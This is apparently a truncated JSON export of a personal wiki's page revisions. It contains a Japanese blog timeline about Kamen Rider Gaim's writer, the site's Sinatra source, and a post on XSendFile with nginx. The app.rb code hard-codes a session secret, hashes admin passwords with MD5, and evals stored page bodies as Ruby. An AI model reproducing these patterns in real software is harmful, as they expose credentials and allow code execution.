が放送される。終盤は「異形の存在になって一人世界を救う為に戦う主人公を周囲の人物が「彼を都合のいい神様にしちゃいけない」(この台詞が本当にあった)と止める話。ちなみにこの作品のプロデューサーは**武部直美**。\r\n**2012 年以降** | 劇場版まどかマギカが放送される。これを見た**武部直美**、次期仮面ライダーの脚本家に虚淵玄の採用を検討。\r\n**2013 年 4-7 月** | 虚淵玄シリーズ構成のアニメ、翠星のガルガンティアが放送される。声優の**杉田智和**が出演。仮面ライダーキバで面識があった**武部直美**は**杉田智和**を通じて虚淵玄に仮面ライダー鎧武の脚本執筆を依頼。\r\n\r\nアレッ?何故武部直美さんは面識があるはずの小林靖子さんを通じて虚淵玄さんに依頼を投げなかったのでしょうか。 \r\n端的に言って誰と誰が何故仲が悪いかがなんとなく察せられるところであります。\r\n\r\nちなみにこのように整理して考えてみると虚淵玄さんは 50 話もあるシリーズに、放送開始半年前というギリギリで招聘されたことが伺えます。めちゃくちゃかわいそう。\r\n\r\n### ソース\r\n- 武部直美が杉田智和に虚淵玄を紹介してもらったという話: http://www.toei.co.jp/tv/gaimu/story/1203345_2163.html\r\n\r\n\r\n\u003cstyle\u003e\r\n#all, .all{width:100% !important}","created_at":"2014-04-17T13:02:44.000Z","updated_at":"2014-04-17T13:02:44.000Z"},{"id":2650,"name":"text/虚淵玄と小林靖子","body":"%blog%\r\n\r\nいつ | 何が起きた\r\n---- | ----\r\n**2008 年** | **武部直美**プロデュース作品仮面ライダーキバが放送される。声優の**杉田智和**が出演。\r\n**2008 年** | 虚淵玄と小林靖子の共同メイン作品ブラスレイターが放送される。控え目に言ってコケる。ちなみに変身ヒーローもの。 全然関係無いけど 06 話の飯田馬之介回がめっちゃかっこいい\r\n**2011 年 01〜04 月** | 虚淵玄の魔法少女まどかマギカが放送される\r\n**2010 年 09 月〜翌 08 月** | 小林靖子の仮面ライダー OOO が放送される。終盤は「異形の存在になって一人世界を救う為に戦う主人公を周囲の人物が「彼を都合のいい神様にしちゃいけない」(この台詞が本当にあった)と止める話。ちなみにこの作品のプロデューサーは**武部直美**。\r\n**2012 年以降** | 劇場版まどかマギカが放送される。これを見た**武部直美**、次期仮面ライダーの脚本家に虚淵玄の採用を検討。\r\n**2013 年 4-7 月** | 虚淵玄シリーズ構成のアニメ、翠星のガルガンティアが放送される。声優の**杉田智和**が出演。仮面ライダーキバで面識があった**武部直美**は**杉田智和**を通じて虚淵玄に仮面ライダー鎧武の脚本執筆を依頼。\r\n\r\nアレッ?何故武部直美さんは面識があるはずの小林靖子さんを通じて虚淵玄さんに依頼を投げなかったのでしょうか。 \r\n端的に言って誰と誰が何故仲が悪いかがなんとなく察せられるところであります。\r\n\r\nちなみにこのように整理して考えてみると虚淵玄さんは 50 話もあるシリーズに、放送開始半年前というギリギリで招聘されたことが伺えます。めちゃくちゃかわいそう。\r\n\r\n### ソース\r\n- 武部直美が杉田智和に虚淵玄を紹介してもらったという話: http://www.toei.co.jp/tv/gaimu/story/1203345_2163.html\r\n\r\n\r\n\u003cstyle\u003e#all, .all{width:100% !important}\u003c/style\u003e","created_at":"2014-04-17T13:03:06.000Z","updated_at":"2014-04-17T13:03:06.000Z"},{"id":2651,"name":"text/虚淵玄と小林靖子","body":"%blog%\r\n\r\nいつ | 何が起きた\r\n---- | ----\r\n**2008 年** | **武部直美**プロデュース作品仮面ライダーキバが放送される。声優の**杉田智和**が出演。\r\n**2008 年** | 虚淵玄と小林靖子の共同メイン作品ブラスレイターが放送される。控え目に言ってコケる。ちなみに変身ヒーローもの。 全然関係無いけど 06 話の飯田馬之介回がめっちゃかっこいい\r\n**2011 年 01〜04 月** | 虚淵玄の魔法少女まどかマギカが放送される\r\n**2010 年 09 月〜翌 08 月** | 小林靖子の仮面ライダー OOO が放送される。終盤は「異形の存在になって一人世界を救う為に戦う主人公を周囲の人物が「彼を都合のいい神様にしちゃいけない」(この台詞が本当にあった)と止める話。ちなみにこの作品のプロデューサーは**武部直美**。\r\n**2012 年以降** | 劇場版まどかマギカが放送される。これを見た**武部直美**、次期仮面ライダーの脚本家に虚淵玄の採用を検討。\r\n**2013 年 4-7 月** | 虚淵玄シリーズ構成のアニメ、翠星のガルガンティアが放送される。声優の**杉田智和**が出演。仮面ライダーキバで面識があった**武部直美**は**杉田智和**を通じて虚淵玄に仮面ライダー鎧武の脚本執筆を依頼。\r\n\r\nアレッ?何故武部直美さんは面識があるはずの小林靖子さんを通じて虚淵玄さんに依頼を投げなかったのでしょうか。 \r\n端的に言って誰と誰が何故仲が悪いかがなんとなく察せられるところであります。\r\n\r\nちなみにこのように整理して考えてみると虚淵玄さんは 50 話もあるシリーズに、放送開始半年前というギリギリで招聘されたことが伺えます。めちゃくちゃかわいそう。\r\n\r\n### ソース\r\n- 武部直美が杉田智和に虚淵玄を紹介してもらったという話: http://www.toei.co.jp/tv/gaimu/story/1203345_2163.html\r\n\r\n\r\n\u003cjavascript\u003e$('#all,.all').css('max-width','100%')\u003c/javascript\u003e","created_at":"2014-04-17T13:05:05.000Z","updated_at":"2014-04-17T13:05:05.000Z"},{"id":2652,"name":"text/虚淵玄と小林靖子","body":"%blog%\r\n\r\nいつ | 何が起きた\r\n---- | ----\r\n**2008 年** | **武部直美**プロデュース作品仮面ライダーキバが放送される。声優の**杉田智和**が出演。\r\n**2008 年** | 虚淵玄と小林靖子の共同メイン作品ブラスレイターが放送される。控え目に言ってコケる。ちなみに変身ヒーローもの。 全然関係無いけど 06 話の飯田馬之介回がめっちゃかっこいい\r\n**2011 年 01〜04 月** | 虚淵玄の魔法少女まどかマギカが放送される\r\n**2010 年 09 月〜翌 08 月** | 小林靖子の仮面ライダー OOO が放送される。終盤は「異形の存在になって一人世界を救う為に戦う主人公を周囲の人物が「彼を都合のいい神様にしちゃいけない」(この台詞が本当にあった)と止める話。ちなみにこの作品のプロデューサーは**武部直美**。\r\n**2012 年以降** | 劇場版まどかマギカが放送される。これを見た**武部直美**、次期仮面ライダーの脚本家に虚淵玄の採用を検討。\r\n**2013 年 4-7 月** | 虚淵玄シリーズ構成のアニメ、翠星のガルガンティアが放送される。声優の**杉田智和**が出演。仮面ライダーキバで面識があった**武部直美**は**杉田智和**を通じて虚淵玄に仮面ライダー鎧武の脚本執筆を依頼。\r\n\r\nアレッ?何故武部直美さんは面識があるはずの小林靖子さんを通じて虚淵玄さんに依頼を投げなかったのでしょうか。 \r\n端的に言って誰と誰が何故仲が悪いかがなんとなく察せられるところであります。\r\n\r\nちなみにこのように整理して考えてみると虚淵玄さんは 50 話もあるシリーズに、放送開始半年前というギリギリで招聘されたことが伺えます。めちゃくちゃかわいそう。\r\n\r\n### ソース\r\n- 武部直美が杉田智和に虚淵玄を紹介してもらったという話: http://www.toei.co.jp/tv/gaimu/story/1203345_2163.html\r\n\r\n\r\n\u003cscript\u003e$('#all,.all').css('max-width','100%')\u003c/script\u003e","created_at":"2014-04-17T13:05:33.000Z","updated_at":"2014-04-17T13:05:33.000Z"},{"id":2653,"name":"text/虚淵玄と小林靖子","body":"%blog%\r\n\r\nいつ | 何が起きた\r\n---- | ----\r\n**2008 年** | **武部直美**プロデュース作品仮面ライダーキバが放送される。声優の**杉田智和**が出演。\r\n**2008 年** | 虚淵玄と小林靖子の共同メイン作品ブラスレイターが放送される。控え目に言ってコケる。ちなみに変身ヒーローもの。 全然関係無いけど 06 話の飯田馬之介回がめっちゃかっこいい\r\n**2011 年 01〜04 月** | 虚淵玄の魔法少女まどかマギカが放送される\r\n**2010 年 09 月〜翌 08 月** | 小林靖子の仮面ライダー OOO が放送される。終盤は「異形の存在になって一人世界を救う為に戦う主人公を周囲の人物が「彼を都合のいい神様にしちゃいけない」(この台詞が本当にあった)と止める話。ちなみにこの作品のプロデューサーは**武部直美**。\r\n**2012 年以降** | 劇場版まどかマギカが放送される。これを見た**武部直美**、次期仮面ライダーの脚本家に虚淵玄の採用を検討。\r\n**2013 年 4-7 月** | 虚淵玄シリーズ構成のアニメ、翠星のガルガンティアが放送される。声優の**杉田智和**が出演。これを見て仮面ライダーキバで面識があった**武部直美**は**杉田智和**を通じて虚淵玄に仮面ライダー鎧武の脚本執筆を依頼。\r\n\r\nアレッ?何故武部直美さんは面識があるはずの小林靖子さんを通じて虚淵玄さんに依頼を投げなかったのでしょうか。 \r\n端的に言って誰と誰が何故仲が悪いかがなんとなく察せられるところであります。\r\n\r\nちなみにこのように整理して考えてみると虚淵玄さんは 50 話もあるシリーズに、放送開始半年前というギリギリで招聘されたことが伺えます。めちゃくちゃかわいそう。\r\n\r\n### ソース\r\n- 武部直美が杉田智和に虚淵玄を紹介してもらったという話: http://www.toei.co.jp/tv/gaimu/story/1203345_2163.html\r\n\r\n\r\n\u003cscript\u003e$('#all,.all').css('max-width','100%')\u003c/script\u003e","created_at":"2014-04-17T13:06:08.000Z","updated_at":"2014-04-17T13:06:08.000Z"},{"id":2654,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 20\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-04-17T13:32:44.000Z","updated_at":"2014-04-17T13:32:44.000Z"},{"id":2655,"name":"source/edit.haml","body":"raw\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:captures].first.to_s}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n %form{:action =\u003e \"/destroy\", :method =\u003e \"post\"}\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Destroy\"}\r\n %form{:action =\u003e \"/usr2\", :method =\u003e \"post\"}\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Destroy\"}","created_at":"2014-04-17T13:33:30.000Z","updated_at":"2014-04-17T13:33:30.000Z"},{"id":2656,"name":"text/XSendFile","body":"%blog% XSendFile でそこそこ高速にファイルを配信しつつなんかやる\r\n\r\nファイルをそこそこ高速に配信しつつ、裏でなんか処理をしたいとか、認証をかけたいとか、そういう事情があることはそれなりにあります。\r\n\r\n配信状況を確認したいという程度なら fluentd でログをひろってきてなにかすればいいでしょう。\r\n\r\n- ファイルをバックエンドから非同期に拾ってきつつ状況にあわせてリダイレクトしたり配信したりする\r\n- 配信状況の確認処理がえらく複雑かつ同期的にやりたい\r\n- 認証をかけたい\r\n\r\nとかなんとか難しい条件があると難しいという話になります。ここで本当に高速なアプリケーションを開発したい場合 nginx に拡張を書くというのが現実的な解となってくるでしょう。そういうことをするには[本物の C++ プログラマーが必要](http://techblog.heartrails.com/2011/01/rails-nginx.html)ということになってきます。さらにリソースが潤沢ならば HTTP サーバーからなにから自分で書いてもよい。\r\n\r\nただ大体の場合そこまでギリギリの高速さが必要ではないでしょう。そこで XSendFile を使いましょう。速度と開発のしやすさのバランスがとれています。\r\n\r\nこれはアプリケーションがいい感じにヘッダを返して nginx やらがいい感じに設定されていれば、ファイルを nginx やらがいい感じに配信してくれるといういいやつです。\r\n\r\nSinatra を使う場合 [sinatra-xsendfile](https://github.com/vast/sinatra-xsendfile) という便利な Gem があります。\r\n\r\n/home/apps/hoge というところで動いている Sinatra アプリケーションから、 /home/apps/hoge/data/fuga というファイルを前処理をしながら /fuga という URL などから配信したいとします。\r\n\r\nアプリケーション側は以下のような感じになることでしょう\r\n\r\n```\r\nget '/fuga' do\r\n auth() # 認証とか\r\n before_process() # なんか難しい処理とか\r\n x_send_file \"data/fuga\"\r\nend\r\n```\r\n\r\nこれで nginx の設定をしていないと、 /home/apps/hoge/data/fuga へのアクセスがプログラミングされていないとか Sinatra が発狂するので nginx の server ディレクティブの中に\r\n\r\n```\r\nlocation /home/apps/hoge/data {\r\n alias /home/apps/hoge/data;\r\n internal;\r\n}\r\n```\r\n\r\nとか書いておくといい感じに配信できます。\r\n\r\nRuby On Rails だと send_file 使いつつ X-Accel-Mapping ヘッダを返すとかすると同じような感じでいけます。他のフレームワークでもなんかいい方法があるでしょう。\r\n\r\nこれで「複雑な前処理」のあらゆる部分を非同期化しキャッシュし血の滲むような努力をすれば画像にフィルタをかけつつ縮小拡大しつつ秒間 150 枚ぐらいをミドルレンジのサーバー 1 台で配信できるようになります。血の滲む努力と言っても全部 Ruby で済んでるので C++ 書くより多分マシ、以上です。","created_at":"2014-04-22T06:47:10.000Z","updated_at":"2014-04-22T06:47:10.000Z"},{"id":2657,"name":"text/XSendFile","body":"%blog% XSendFile でそこそこ高速にファイルを配信しつつなんかやる\r\n\r\nファイルをそこそこ高速に配信しつつ、裏でなんか処理をしたいとか、認証をかけたいとか、そういう事情があることはそれなりにあります。\r\n\r\n配信状況を確認したいという程度なら fluentd でログをひろってきてなにかすればいいでしょう。\r\n\r\n- ファイルをバックエンドから非同期に拾ってきつつ状況にあわせてリダイレクトしたり配信したりする\r\n- 配信状況の確認処理がえらく複雑かつ同期的にやりたい\r\n- 認証をかけたい\r\n\r\nとかなんとか難しい条件があると難しいという話になります。ここで本当に高速なアプリケーションを開発したい場合 nginx に拡張を書くというのが現実的な解となってくるでしょう。そういうことをするには[本物の C++ プログラマーが必要](http://techblog.heartrails.com/2011/01/rails-nginx.html)ということになってきます。さらにリソースが潤沢ならば HTTP サーバーからなにから自分で書いてもよい。\r\n\r\nただ大体の場合そこまでギリギリの高速さが必要ではないでしょう。そこで XSendFile を使いましょう。速度と開発のしやすさのバランスがとれています。\r\n\r\nこれはアプリケーションがいい感じにヘッダを返して nginx やらがいい感じに設定されていれば、ファイルを nginx やらがいい感じに配信してくれるといういいやつです。\r\n\r\nSinatra を使う場合 [sinatra-xsendfile](https://github.com/vast/sinatra-xsendfile) という便利な Gem があります。\r\n\r\n/home/apps/hoge というところで動いている Sinatra アプリケーションから、 /home/apps/hoge/data/fuga というファイルを前処理をしながら /fuga という URL などから配信したいとします。\r\n\r\nアプリケーション側は以下のような感じになることでしょう\r\n\r\n```\r\nget '/fuga' do\r\n auth() # 認証とか\r\n before_process() # なんか難しい処理とか\r\n x_send_file \"data/fuga\"\r\nend\r\n```\r\n\r\nこれで nginx の設定をしていないと、 /home/apps/hoge/data/fuga へのアクセスがプログラミングされていないとか Sinatra が発狂するので nginx の server ディレクティブの中に\r\n\r\n```\r\nlocation /home/apps/hoge/data {\r\n alias /home/apps/hoge/data;\r\n internal;\r\n}\r\n```\r\n\r\nとか書いておくといい感じに配信できます。\r\n\r\nRuby On Rails だと send_file 使いつつ X-Accel-Mapping ヘッダを返すとかすると同じような感じでいけます。他のフレームワークでもなんかいい方法があるでしょう。\r\n\r\nこれで「複雑な前処理」のあらゆる部分を非同期化しキャッシュし血の滲むような努力をすれば画像にフィルタをかけつつ縮小拡大しつつ秒間 150 枚ぐらいをミドルレンジのサーバー 1 台で配信できるようになります。血の滲む努力と言っても全部 Ruby で済んでるので C++ 書くより多分マシ、以上です。","created_at":"2014-04-22T06:47:14.000Z","updated_at":"2014-04-22T06:47:14.000Z"},{"id":2658,"name":"text/XSendFile","body":"%blog% XSendFile でそこそこ高速にファイルを配信しつつなんかやる\r\n\r\nファイルをそこそこ高速に配信しつつ、裏でなんか処理をしたいとか、認証をかけたいとか、そういう事情があることはそれなりにあります。\r\n\r\n配信状況を確認したいという程度なら fluentd でログをひろってきてなにかすればいいでしょう。\r\n\r\n- ファイルをバックエンドから非同期に拾ってきつつ状況にあわせてリダイレクトしたり配信したりする\r\n- 配信状況の確認処理がえらく複雑かつ同期的にやりたい\r\n- 認証をかけたい\r\n\r\nとかなんとか難しい条件があると難しいという話になります。ここで本当に高速なアプリケーションを開発したい場合 nginx に拡張を書くというのが現実的な解となってくるでしょう。そういうことをするには[本物の C++ プログラマーが必要](http://techblog.heartrails.com/2011/01/rails-nginx.html)ということになってきます。さらにリソースが潤沢ならば HTTP サーバーからなにから自分で書いてもよい。\r\n\r\nただ大体の場合そこまでギリギリの高速さが必要ではないでしょう。そこで XSendFile を使いましょう。速度と開発のしやすさのバランスがとれています。\r\n\r\nこれはアプリケーションがいい感じにヘッダを返して nginx やらがいい感じに設定されていれば、ファイルを nginx やらがいい感じに配信してくれるといういいやつです。\r\n\r\nSinatra を使う場合 [sinatra-xsendfile](https://github.com/vast/sinatra-xsendfile) という便利な Gem があります。\r\n\r\n/home/apps/hoge というところで動いている Sinatra アプリケーションから、 /home/apps/hoge/data/fuga というファイルを前処理をしながら /fuga という URL などから配信したいとします。\r\n\r\nアプリケーション側は以下のような感じになることでしょう\r\n\r\n```\r\nget '/fuga' do\r\n auth() # 認証とか\r\n before_process() # なんか難しい処理とか\r\n x_send_file \"data/fuga\"\r\nend\r\n```\r\n\r\nこれで nginx の設定をしていないと、 /home/apps/hoge/data/fuga へのアクセスがプログラミングされていないとか Sinatra が発狂するので nginx の server ディレクティブの中に\r\n\r\n```\r\nlocation /home/apps/hoge/data {\r\n alias /home/apps/hoge/data;\r\n internal;\r\n}\r\n```\r\n\r\nとか書いておくといい感じに配信できます。\r\n\r\nRuby On Rails だと send_file 使いつつ X-Accel-Mapping ヘッダを返すとかすると同じような感じでいけます。やることは基本的にヘッダ返すだけなので他の言語やフレームワークでもなんかいい方法があるでしょう。 http://wiki.nginx.org/NginxXSendfile にだいたい必要なことが全部書かれています。\r\n\r\nこれで「複雑な前処理」のあらゆる部分を非同期化しキャッシュし血の滲むような努力をすれば画像にフィルタをかけつつ縮小拡大しつつ秒間 150 枚ぐらいをミドルレンジのサーバー 1 台で配信できるようになります。血の滲む努力と言っても全部 Ruby で済んでるので C++ 書くより多分マシ、以上です。","created_at":"2014-04-22T06:52:22.000Z","updated_at":"2014-04-22T06:52:22.000Z"},{"id":2659,"name":"text/XSendFile","body":"%blog% XSendFile でそこそこ高速にファイルを配信しつつなんかやる\r\n\r\nファイルをそこそこ高速に配信しつつ、裏でなんか処理をしたいとか、認証をかけたいとか、そういう事情があることはそれなりにあります。\r\n\r\n配信状況を確認したいという程度なら fluentd でログをひろってきてなにかすればいいでしょう。\r\n\r\n- ファイルをバックエンドから非同期に拾ってきつつ状況にあわせてリダイレクトしたり配信したりする\r\n- 配信状況の確認処理がえらく複雑かつ同期的にやりたい\r\n- 認証をかけたい\r\n\r\nとかなんとか難しい条件があると難しいという話になります。ここで本当に高速なアプリケーションを開発したい場合 nginx に拡張を書くというのが現実的な解となってくるでしょう。そういうことをするには[本物の C++ プログラマーが必要](http://techblog.heartrails.com/2011/01/rails-nginx.html)ということになってきます。さらにリソースが潤沢ならば HTTP サーバーからなにから自分で書いてもよい。\r\n\r\nただ大体の場合そこまでギリギリの高速さが必要ではないでしょう。そこで XSendFile を使いましょう。速度と開発のしやすさのバランスがとれています。\r\n\r\nこれはアプリケーションがいい感じにヘッダを返して nginx やらがいい感じに設定されていれば、ファイルを nginx やらがいい感じに配信してくれるといういいやつです。\r\n\r\nSinatra を使う場合 [sinatra-xsendfile](https://github.com/vast/sinatra-xsendfile) という便利な Gem があります。\r\n\r\n/home/apps/hoge というところで動いている Sinatra アプリケーションから、 /home/apps/hoge/data/fuga というファイルを前処理をしながら /fuga という URL などから配信したいとします。\r\n\r\nアプリケーション側は以下のような感じになることでしょう\r\n\r\n```\r\nget '/fuga' do\r\n auth() # 認証とか\r\n before_process() # なんか難しい処理とか\r\n x_send_file \"data/fuga\"\r\nend\r\n```\r\n\r\nこれで nginx の設定をしていないと、 /home/apps/hoge/data/fuga へのアクセスがプログラミングされていないとか Sinatra が発狂するので nginx の server 